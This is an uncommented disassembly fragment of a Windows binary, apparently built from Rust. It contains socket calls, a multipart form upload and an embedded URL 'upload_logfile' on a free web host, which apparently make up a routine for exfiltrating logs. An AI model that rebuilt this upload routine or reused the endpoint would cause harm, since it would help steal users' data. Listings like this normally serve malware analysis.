and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x1400094b0
test al, 2
jne 0x14000958f
mov rcx, qword [r14 + 0x30]
mov rax, qword [r14 + 0x38]
call qword [rax + 0x18]
mov rcx, qword [rbx + 0x380]
mov rax, qword [rbx + 0x388]
call qword [rax]
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rdx
mov rax, qword [r14 + 0x40]
nop
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x1400094f0
test al, 2
jne 0x140009595
mov eax, esi
shr eax, 8
test al, al
je 0x14000938a
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x140009366
test eax, eax
je 0x14000933d
jmp 0x14000938a
mov rcx, qword [r14 + 0x38]
mov rdx, qword [rbx + 0x388]
mov rdi, qword [rcx]
cmp rdi, qword [rdx]
jne 0x1400094a1
mov rdi, qword [rdx + 8]
cmp qword [rcx + 8], rdi
jne 0x1400094a1
mov rdi, qword [rcx + 0x10]
cmp rdi, qword [rdx + 0x10]
jne 0x1400094a1
mov rcx, qword [rcx + 0x18]
cmp rcx, qword [rdx + 0x18]
jne 0x1400094a1
jmp 0x140009480
mov sil, 1
jmp 0x1400095b8
lock or qword [r14 + 0x40], 1
mov r13, qword [r14 + 0x18]
xor eax, eax
cmp qword [r14 + 0x10], 0
mov qword [r14 + 0x10], 0
sete al
dec rax
cmp rax, 2
setb sil
jae 0x1400095fe
mov rax, qword [r14 + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x1400095c0
and eax, 0xa
cmp eax, 8
jne 0x1400095e2
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [r14]
je 0x140009608
mov rcx, qword [rbx + 0x380]
mov rax, qword [rbx + 0x388]
call qword [rax + 0x18]
jmp 0x14000f80e
lock dec qword [r14]
jne 0x1400098d6
mov rcx, r14
call fcn.14011ffb0
mov rcx, qword [rbx + 0x380]
mov rax, qword [rbx + 0x388]
call qword [rax + 0x18]
test sil, sil
jne 0x14000f80e
test r13, r13
jne 0x1400098f0
mov rcx, qword [0x140221370]
test rcx, rcx
je 0x140009648
mov rdi, qword [rbx + 0xb0]
jmp 0x140009668
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov rdi, qword [rbx + 0xb0]
je 0x14000f828
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f828
mov rsi, rax
movdqu xmmword [rax], xmm6
mov rax, qword [rbx + 0xa8]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdi
mov rax, qword [rbx + 0xa0]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], r15
lea rdx, str.https:__xp7reqy314.000webhostapp.com_upload_logfilesrcmain.rs
lea rcx, [rbx + 0x380]
mov r8d, 0x2c
call fcn.1400a6520
mov eax, dword [rbx + 0x398]
cmp eax, 2
jne 0x1400096d6
mov ecx, 2
mov rdx, qword [rbx + 0x380]
jmp 0x140009755
pxor xmm0, xmm0
movdqa xmmword [rbx + 0x850], xmm0
movdqa xmmword [rbx + 0xa70], xmm0
movdqa xmmword [rbx + 0xb60], xmm0
movups xmm1, xmmword [rbx + 0x380]
movups xmm2, xmmword [rbx + 0x390]
movups xmm3, xmmword [rbx + 0x3a0]
movups xmm4, xmmword [rbx + 0x3b0]
movaps xmmword [rbx + 0x140], xmm1
movaps xmmword [rbx + 0x150], xmm2
movaps xmmword [rbx + 0x160], xmm3
movaps xmmword [rbx + 0x170], xmm4
movups xmm1, xmmword [rbx + 0x3c0]
movaps xmmword [rbx + 0x180], xmm1
mov rcx, qword [rbx + 0x3d0]
mov qword [rbx + 0x190], rcx
movdqa xmmword [rbx + 0xbd0], xmm0
mov edx, 2
xor ecx, ecx
lock inc qword [rsi]
jle 0x140010f6d
mov qword [rbx + 0x880], 0x1e
mov dword [rbx + 0x888], 0
mov qword [rbx + 0x7f8], rsi
mov qword [rbx + 0x890], rsi
mov qword [rbx + 0x898], rdx
movaps xmm0, xmmword [rbx + 0x850]
movups xmmword [rbx + 0x8a0], xmm0
mov qword [rbx + 0x8b0], 8
movaps xmm0, xmmword [rbx + 0xa70]
movups xmmword [rbx + 0x8b8], xmm0
mov qword [rbx + 0x8c8], 8
movaps xmm0, xmmword [rbx + 0xb60]
movups xmmword [rbx + 0x8d0], xmm0
mov word [rbx + 0x8f0], 0
mov dword [rbx + 0x900], 0x3b9aca00
mov byte [rbx + 0x908], 2
mov dword [rbx + 0x909], 0
mov dword [rbx + 0x90c], 0
movaps xmm0, xmmword [rbx + 0xbd0]
movups xmmword [rbx + 0x910], xmm0
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmm2, xmmword [rbx + 0x160]
movaps xmm3, xmmword [rbx + 0x170]
movups xmmword [rbx + 0x920], xmm0
movups xmmword [rbx + 0x930], xmm1
movups xmmword [rbx + 0x940], xmm2
movups xmmword [rbx + 0x950], xmm3
movdqa xmm0, xmmword [rbx + 0x180]
movdqu xmmword [rbx + 0x960], xmm0
mov rdx, qword [rbx + 0x190]
mov qword [rbx + 0x970], rdx
mov qword [rbx + 0x978], rcx
mov byte [rbx + 0x9a0], 2
mov qword [rbx + 0x9a8], 2
cmp eax, 2
je 0x140009dbb
mov r8d, dword [rbx + 0x948]
mov rcx, qword [rbx + 0x928]
mov rdx, qword [rbx + 0x930]
test r8, r8
je 0x1400098c4
mov rax, rdx
sub rax, r8
jbe 0x140009a0b
cmp byte [rcx + r8], 0xbf
jg 0x140009a11
lea rax, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823url_2.4.1_srclib.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.14016f7f0
ud2
mov rax, rdx
cmp rax, 3
jb 0x140009dbb
jmp 0x140009a1b
mov rcx, qword [rbx + 0x380]
mov rax, qword [rbx + 0x388]
call qword [rax + 0x18]
test r13, r13
je 0x140009633
mov rcx, qword [rbx + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx + 0xa0]
lock dec qword [rax]
jne 0x140009916
mov rcx, qword [rbx + 0xa0]
call fcn.14013b3b0
lock dec qword [r15]
jne 0x140009924
mov rcx, r15
call fcn.1400bf180
mov rax, qword [rbx + 0xa8]
lock dec qword [rax + 0x1d0]
jne 0x1400099be
add r12, 0x100
mov edx, 1
mov rsi, qword [rbx + 0xa8]
lock xadd qword [rsi + 0x88], rdx
mov rcx, r12
call fcn.1400bcfa0
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rsi + 0x110]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x110], rcx
jne 0x140009976
test rax, rax
jne 0x1400099be
mov rdx, qword [rbx + 0xa8]
mov rcx, qword [rdx + 0x100]
mov rax, qword [rdx + 0x108]
mov qword [rdx + 0x108], 0
lock and qword [rdx + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400099be
call qword [rax + ioctlsocket]
mov rax, qword [rbx + 0xa8]
lock dec qword [rax]
jne 0x1400099d7
mov rcx, qword [rbx + 0xa8]
call fcn.1401200a0
mov qword [rbx + 0x380], r13
lea rax, [0x140177628]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401770b0]
lea r8, [rbx + 0x380]
mov edx, 0x2b
call fcn.14016f5f0
ud2
jne 0x1400098ae
cmp rax, 3
jb 0x140009dbb
movzx eax, word [rcx + r8]
xor eax, 0x2f3a
movzx ecx, byte [rcx + r8 + 2]
xor ecx, 0x2f
or cx, ax
jne 0x140009dbb
lea r13, [rbx + 0x920]
mov rcx, r13
call fcn.14016a280
add rdx, rax
lea rcx, [rbx + 0x380]
mov r8, rax
call fcn.1400a31e0
mov rax, qword [rbx + 0x380]
cmp rax, 2
je 0x140009dbb
mov rdi, qword [rbx + 0x388]
mov rsi, qword [rbx + 0x390]
test rax, rax
je 0x140009bc6
mov r15, qword [rbx + 0x398]
mov r14, rsi
mov rsi, rdi
jmp 0x140009c42
call fcn.140174810
xor al, 1
mov dword [rbx + 0xa8], eax
jmp 0x140006d6f
test rdi, rdi
lea rcx, str.formatter_error
cmovne rcx, rdi
call fcn.14016b800
mov rsi, rax
cmp qword [rbx + 0xc30], 0
je 0x14000e444
mov r8, qword [rbx + 0xc38]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000e444
test r14b, r14b
je 0x140009b04
cmp qword [rbx + 0xb0], 0
je 0x140009b04
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
movq rax, xmm7
cmp rax, 1
mov r14, qword [rbx + 0xc0]
mov rsi, qword [rbx + 0xe8]
mov r13, rdi
jne 0x140009b40
cmp qword [rbx + 0xa8], 0
je 0x140009b40
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0xa0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 0xb8]
test r8, r8
je 0x140009b60
test rsi, rsi
je 0x140009b60
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x140009b77
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0xd8], 0
je 0x140009ba0
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0x120]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140009ba0
mov r13, qword [rbx + 0xf8]
mov rcx, r15
call fcn.14016b800
mov rsi, rax
jmp 0x14000e444
call fcn.140174810
test al, al
jne 0x140006e52
mov byte [rdi + 0x18], 1
jmp 0x140006e52
test rsi, rsi
je 0x140009c2b
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140009bf6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f216
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140009c31
jmp 0x14000f216
lea rax, str.123application_vnd.lotus_1_2_3
mov rcx, qword [rbx + 0xc8]
mov rdx, qword [rcx + rax + 0x10]
mov rax, qword [rcx + rax + 0x18]
jmp 0x140007f4d
mov r14d, 1
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r15, rsi
mov rcx, r13
call fcn.14016a350
test rax, rax
je 0x140009c6e
add rdx, rax
lea rcx, [rbx + 0x380]
mov r8, rax
call fcn.1400a31e0
mov rax, qword [rbx + 0x380]
cmp rax, 2
jne 0x140009c76
xor r12d, r12d
jmp 0x140009d25
mov rdi, qword [rbx + 0x388]
mov r12, qword [rbx + 0x390]
test rax, rax
je 0x140009ca3
mov rax, qword [rbx + 0x398]
mov qword [rbx + 0xa0], rax
mov qword [rbx + 0xa8], rdi
jmp 0x140009d25
test r12, r12
mov qword [rbx + 0xa8], r12
je 0x140009d03
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140009cdd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140009cf0
mov rcx, rax
mov qword [0x140221370], rax
mov r12, qword [rbx + 0xa8]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140009d09
mov edx, 1
mov rcx, qword [rbx + 0xa8]
call fcn.14016c090
ud2
mov r12d, 1
mov rcx, r12
mov rdx, rdi
mov rdi, qword [rbx + 0xa8]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0xa0], rdi
test r15, r15
jne 0x140009d4c
test r12, r12
jne 0x140009d4c
test rsi, rsi
je 0x140009dbb
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140009dbb
mov rcx, r13
call fcn.140169ba0
test al, al
jne 0x14000f7b2
mov rcx, r13
call fcn.14016a050
test al, al
jne 0x14000f7c7
test r14, r14
je 0x140009dbb
mov qword [rbx + 0xaa0], rsi
mov qword [rbx + 0xaa8], r14
mov qword [rbx + 0xab0], r15
lea rcx, [rbx + 0xd80]
lea rdx, [rbx + 0x880]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140221370]
test rcx, rcx
je 0x14000ceae
lea r15, [0x140004f80]
jmp 0x14000cece
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0x880]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbx + 0xb18]
mov rax, qword [rbx + 0xb20]
mov qword [rbx + 0x140], r15
mov qword [rbx + 0xa0], rax
mov qword [rbx + 0x148], rax
lea rax, [rbx + 0x140]
mov qword [rbx + 0x240], rax
lea rax, [0x1400846d0]
mov qword [rbx + 0x248], rax
mov qword [rbx + 0xd80], 0
lea rax, str.multipart_form_data__boundary
mov qword [rbx + 0xd90], rax
mov qword [rbx + 0xd98], 1
lea rax, [rbx + 0x240]
mov qword [rbx + 0xda0], rax
mov qword [rbx + 0xda8], 1
lea rcx, [rbx + 0x880]
lea rdx, [rbx + 0xd80]
call fcn.140013f00
mov r14, qword [rbx + 0x880]
mov rdi, qword [rbx + 0x888]
cmp dword [rbx + 0xd28], 2
je 0x14000a199
mov rsi, qword [rbx + 0x890]
lea r13, [rbx + 0xc48]
movups xmm0, xmmword [0x1401e9618]
movaps xmmword [rbx + 0x150], xmm0
movdqu xmm0, xmmword [0x1401e9608]
movdqa xmmword [rbx + 0x140], xmm0
xor eax, eax
nop dword [rax]
cmp rsi, rax
je 0x140009ff6
movzx edx, byte [rdi + rax]
cmp dl, 0x20
setae cl
cmp dl, 0x7f
setne r8b
inc rax
cmp dl, 9
je 0x140009eb0
and cl, r8b
jne 0x140009eb0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140009efc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f62c
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f62c
mov rsi, rax
mov byte [rax], 5
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140009f3e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
mov r12, rax
mov qword [rax], rsi
lea rax, method..virtual_32
mov qword [r12 + 8], rax
mov dword [r12 + 0x28], 2
mov word [r12 + 0x68], 0
mov rax, qword [rbx + 0x158]
test rax, rax
je 0x140009f9c
lea rcx, [rbx + 0x150]
mov rdx, qword [rbx + 0x140]
mov r8, qword [rbx + 0x148]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0xd58]
cmp rax, 2
je 0x14000a09e
test rax, rax
jne 0x14000a07f
mov r13, qword [rbx + 0xd60]
mov rsi, qword [rbx + 0xd68]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000a09e
cmp qword [rsi + 0x10], 0x11
jb 0x140009fdf
mov r13, qword [r13 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000a09e
test rsi, rsi
je 0x14000a068
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000a026
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f216
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f216
mov r12, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
test r12b, 1
jne 0x14000a120
mov rcx, r12
or rcx, 1
lea rax, [0x1401ba018]
jmp 0x14000a12a
lea rax, [0x1401e46b0]
lea r12, method..virtual_32
xor ecx, ecx
xor esi, esi
jmp 0x14000a12a
mov rax, qword [rbx + 0xd78]
lea rcx, [rbx + 0xd70]
mov rdx, qword [rbx + 0xd60]
mov r8, qword [rbx + 0xd68]
call qword [rax + reloc.WS2_32.dll_recv]
cmp byte [rbx + 0xcb8], 0xa
jb 0x14000a0c7
cmp qword [rbx + 0xcc8], 0
je 0x14000a0c7
mov r8, qword [rbx + 0xcc0]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0xcd0], 0
lea rsi, [rbx + 0xc48]
je 0x14000a0ee
mov r8, qword [rbx + 0xcd8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call fcn.1400a8d60
cmp qword [rbx + 0xd28], 0
je 0x14000a10c
lea rcx, [rbx + 0xd30]
call fcn.1400aef50
mov qword [rbx + 0xc48], r12
mov qword [rbx + 0xd28], 2
jmp 0x14000a199
lea rax, [0x1401ba030]
mov rcx, r12
movdqa xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmmword [rbx + 0x890], xmm1
movdqa xmmword [rbx + 0x880], xmm0
mov qword [rbx + 0xd80], r12
mov qword [rbx + 0xd88], rsi
mov qword [rbx + 0xd90], rcx
mov qword [rbx + 0xd98], rax
mov byte [rbx + 0xda0], 0
mov eax, dword [rbx + 0x240]
mov ecx, dword [rbx + 0x243]
mov dword [rbx + 0xda1], eax
mov dword [rbx + 0xda4], ecx
lea rdx, [rbx + 0x880]
lea r8, [rbx + 0xd80]
mov rcx, r13
call fcn.14011ef30
lea rcx, [rbx + 0x380]
lea rdx, [rbx + 0xc30]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
test r14, r14
je 0x14000a1c9
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbx + 0x478], 2
jne 0x14000a2a7
mov r12, qword [rbx + 0x390]
mov rax, qword [rbx + 0x398]
mov qword [rbx + 0xd0], rax
lea rdx, [rbx + 0x3a0]
lea rcx, [rbx + 0x1040]
mov r8d, 0xd8
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm0, xmmword [rbx + 0x480]
movups xmm1, xmmword [rbx + 0x490]
movdqa xmmword [rbx + 0xba0], xmm0
movaps xmmword [rbx + 0xbb0], xmm1
mov rax, qword [rbx + 0x4a0]
mov qword [rbx + 0xbc0], rax
cmp qword [rbx + 0xb10], 0
je 0x14000a24c
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbx + 0xb30]
mov rax, qword [rbx + 0xb38]
test rax, rax
je 0x14000a3ee
shl rax, 3
lea r14, [rax + rax*2]
xor edi, edi
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000a28d
add rdi, 0x18
cmp r14, rdi
je 0x14000a3ee
cmp qword [rsi + rdi], 0
je 0x14000a280
mov r8, qword [rsi + rdi + 8]
mov rcx, qword [0x140221370]
xor edx, edx
call r15
jmp 0x14000a280
mov rax, qword [rbx + 0xb50]
test rax, rax
je 0x14000a439
mov r13, qword [rbx + 0xb48]
lea rsi, [r13 + 0x120]
imul r14, rax, 0x128
xor r12d, r12d
mov r8, qword [rbx + 0xa0]
jmp 0x14000a354
lea rcx, [rbx + 0xb28]
call fcn.140044c10
mov r8, qword [rbx + 0xb20]
mov rdx, qword [rbx + 0xb38]
add r13, 0x128
mov rax, qword [rbx + 0xb30]
lea rcx, [rdx + rdx*2]
mov rdi, qword [rbx + 0xd90]
mov qword [rax + rcx*8 + 0x10], rdi
movdqu xmm0, xmmword [rbx + 0xd80]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rbx + 0xb38], rdx
add r12, qword [rbx + 0xa0]
add r12, r15
add r12, r8
add r12, 0xa
add rsi, 0x128
add r14, 0xfffffffffffffed8
je 0x14000a426
cmp qword [rsi - 0x20], 0
je 0x14000a370
lea rax, [r13 + 0x110]
jmp 0x14000a37d
cmp dword [rsi - 8], 1
mov rax, rsi
jne 0x14000c134
mov rdi, r8
lea rcx, [rsi - 0x100]
mov rax, qword [rax]
mov qword [rbx + 0xa0], rax
cmp qword [rsi - 0x120], 0
mov r9, qword [rsi - 0x110]
mov r8, qword [rsi - 0x118]
cmovne r8, r9
cmovne r9, qword [rsi - 0x108]
movzx edx, byte [rbx + 0xb58]
mov qword [rsp + 0x20], rcx
lea rcx, [rbx + 0xd80]
call fcn.14011f4a0
mov r15, qword [rbx + 0xd90]
mov rdx, qword [rbx + 0xb38]
cmp rdx, qword [rbx + 0xb28]
je 0x14000a2e0
mov r8, rdi
jmp 0x14000a2fa
cmp qword [rbx + 0xb28], 0
je 0x14000a40a
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbx + 0xb40]
call fcn.14012e7b0
lock dec qword [r12]
je 0x14000a655
jmp 0x14000bc78
cmp qword [rbx + 0xb50], 0
je 0x14000a43c
add r12, r8
add r12, 6
jmp 0x14000a43c
xor r12d, r12d
movups xmm0, xmmword [rbx + 0xb50]
movups xmmword [rbx + 0xdd0], xmm0
movups xmm0, xmmword [rbx + 0xb10]
movups xmm1, xmmword [rbx + 0xb20]
movups xmm2, xmmword [rbx + 0xb30]
movups xmm3, xmmword [rbx + 0xb40]
movups xmmword [rbx + 0xdc0], xmm3
movups xmmword [rbx + 0xdb0], xmm2
movups xmmword [rbx + 0xda0], xmm1
movups xmmword [rbx + 0xd90], xmm0
mov qword [rbx + 0xd80], 0
lea rcx, [rbx + 0xd80]
call fcn.14012e9d0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000a4be
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f573
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f573
mov r14, rax
movups xmm0, xmmword [rbx + 0xdd0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rbx + 0xdc0]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rbx + 0xd80]
movups xmm1, xmmword [rbx + 0xd90]
movups xmm2, xmmword [rbx + 0xda0]
movups xmm3, xmmword [rbx + 0xdb0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov r13d, 1
mov rax, qword [rbx + 0x4a8]
cmp rax, 2
je 0x14000a589
test rax, rax
jne 0x14000a56a
mov rdi, qword [rbx + 0x4b0]
mov rsi, qword [rbx + 0x4b8]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000a589
cmp qword [rsi + 0x10], 0x11
jb 0x14000a556
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000a589
mov rax, qword [rbx + 0x4c8]
lea rcx, [rbx + 0x4c0]
mov rdx, qword [rbx + 0x4b0]
mov r8, qword [rbx + 0x4b8]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x4a8], 0
mov qword [rbx + 0x4b0], r14
lea rax, [0x1401e9808]
mov qword [rbx + 0x4b8], rax
mov qword [rbx + 0x4c0], r13
mov qword [rbx + 0x4c8], r12
mov rax, qword [rbx + 0x380]
mov qword [rbx + 0xb0], rax
mov eax, dword [rbx + 0x388]
mov dword [rbx + 0xa8], eax
mov rax, qword [rbx + 0x390]
mov qword [rbx + 0xd8], rax
mov rax, qword [rbx + 0x398]
mov qword [rbx + 0xd0], rax
lea rdx, [rbx + 0x3a0]
lea rcx, [rbx + 0x1040]
mov r8d, 0xd8
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbx + 0x478]
movups xmm0, xmmword [rbx + 0x480]
movaps xmmword [rbx + 0xba0], xmm0
movdqu xmm0, xmmword [rbx + 0x490]
movdqa xmmword [rbx + 0xbb0], xmm0
mov rax, qword [rbx + 0x4a0]
mov qword [rbx + 0xbc0], rax
cmp r15, 2
jne 0x14000b4fc
mov r12, qword [rbx + 0xd8]
lock dec qword [r12]
jne 0x14000bc78
mov r13d, 3
mov rcx, r12
call fcn.1401319e0
cmp r13d, 3
je 0x14000bc78
mov rax, qword [rbx + 0x360]
mov qword [rbx + 0x1170], rax
movaps xmm0, xmmword [rbx + 0x350]
movaps xmmword [rbx + 0x1160], xmm0
movaps xmm0, xmmword [rbx + 0x310]
movaps xmm1, xmmword [rbx + 0x320]
movaps xmm2, xmmword [rbx + 0x330]
movaps xmm3, xmmword [rbx + 0x340]
movaps xmmword [rbx + 0x1150], xmm3
movaps xmmword [rbx + 0x1140], xmm2
movaps xmmword [rbx + 0x1130], xmm1
movaps xmmword [rbx + 0x1120], xmm0
movaps xmm0, xmmword [rbx + 0xc00]
movaps xmm1, xmmword [rbx + 0xc10]
movaps xmm2, xmmword [rbx + 0xc20]
movaps xmmword [rbx + 0x1180], xmm0
movaps xmmword [rbx + 0x1190], xmm1
movaps xmmword [rbx + 0x11a0], xmm2
movaps xmm0, xmmword [rbx + 0x1120]
movaps xmm1, xmmword [rbx + 0x1130]
movaps xmm2, xmmword [rbx + 0x1140]
movaps xmm3, xmmword [rbx + 0x1150]
movaps xmmword [rbx + 0x140], xmm0
movaps xmmword [rbx + 0x150], xmm1
movaps xmmword [rbx + 0x160], xmm2
movaps xmmword [rbx + 0x170], xmm3
movaps xmm0, xmmword [rbx + 0x1160]
movaps xmmword [rbx + 0x180], xmm0
mov rax, qword [rbx + 0x1170]
mov qword [rbx + 0x190], rax
movdqa xmm0, xmmword [rbx + 0x1180]
movaps xmm1, xmmword [rbx + 0x1190]
movaps xmm2, xmmword [rbx + 0x11a0]
movdqa xmmword [rbx + 0x240], xmm0
movaps xmmword [rbx + 0x250], xmm1
movaps xmmword [rbx + 0x260], xmm2
cmp r14d, 0x3b9aca00
jne 0x14000a77c
mov r14d, 0x3b9aca00
jmp 0x14000a7df
call fcn.1401484d0
add rax, qword [rbx + 0xb0]
jb 0x14000f52c
add r14d, edx
cmp r14d, 0x3b9ac9ff
jbe 0x14000a7aa
inc rax
je 0x14000f52c
add r14d, 0xc4653600
mov ecx, r14d
shr ecx, 9
imul rdx, rcx, 0x44b83
shr rdx, 0x27
add rdx, rax
mov qword [rbx + 0xb0], rdx
jb 0x14000f5da
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r14d, eax
call fcn.14013ded0
test rax, rax
je 0x14000f2be
mov rsi, rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000a815
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
mov qword [rbx + 0xd8], r12
movdqu xmmword [rax], xmm6
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
mov qword [rbx + 0xa70], rcx
lea rax, vtable..0
mov qword [rbx + 0xa78], rax
lea rax, [rbx + 0xa70]
mov qword [rbx + 0xb60], rax
movups xmm0, xmmword [rbx + 0x1090]
movaps xmmword [rbx + 0x3d0], xmm0
movups xmm0, xmmword [rbx + 0x1080]
movaps xmmword [rbx + 0x3c0], xmm0
movups xmm0, xmmword [rbx + 0x1040]
movups xmm1, xmmword [rbx + 0x1050]
movups xmm2, xmmword [rbx + 0x1060]
movups xmm3, xmmword [rbx + 0x1070]
movaps xmmword [rbx + 0x3b0], xmm3
movaps xmmword [rbx + 0x3a0], xmm2
movaps xmmword [rbx + 0x390], xmm1
movaps xmmword [rbx + 0x380], xmm0
lea rax, [0x1401e82bf]
mov qword [rbx + 0x3e0], rax
mov qword [rbx + 0x3e8], 5
lea rcx, [rbx + 0x3f0]
lea rdx, [rbx + 0xd80]
mov r8d, 0x288
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x678], r15
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmm2, xmmword [rbx + 0x160]
movaps xmm3, xmmword [rbx + 0x170]
movaps xmmword [rbx + 0x680], xmm0
movaps xmmword [rbx + 0x690], xmm1
movaps xmmword [rbx + 0x6a0], xmm2
movaps xmmword [rbx + 0x6b0], xmm3
movaps xmm0, xmmword [rbx + 0x180]
movaps xmmword [rbx + 0x6c0], xmm0
mov rax, qword [rbx + 0x190]
mov qword [rbx + 0x6d0], rax
mov qword [rbx + 0x6d8], r13
movdqa xmm0, xmmword [rbx + 0x240]
movaps xmm1, xmmword [rbx + 0x250]
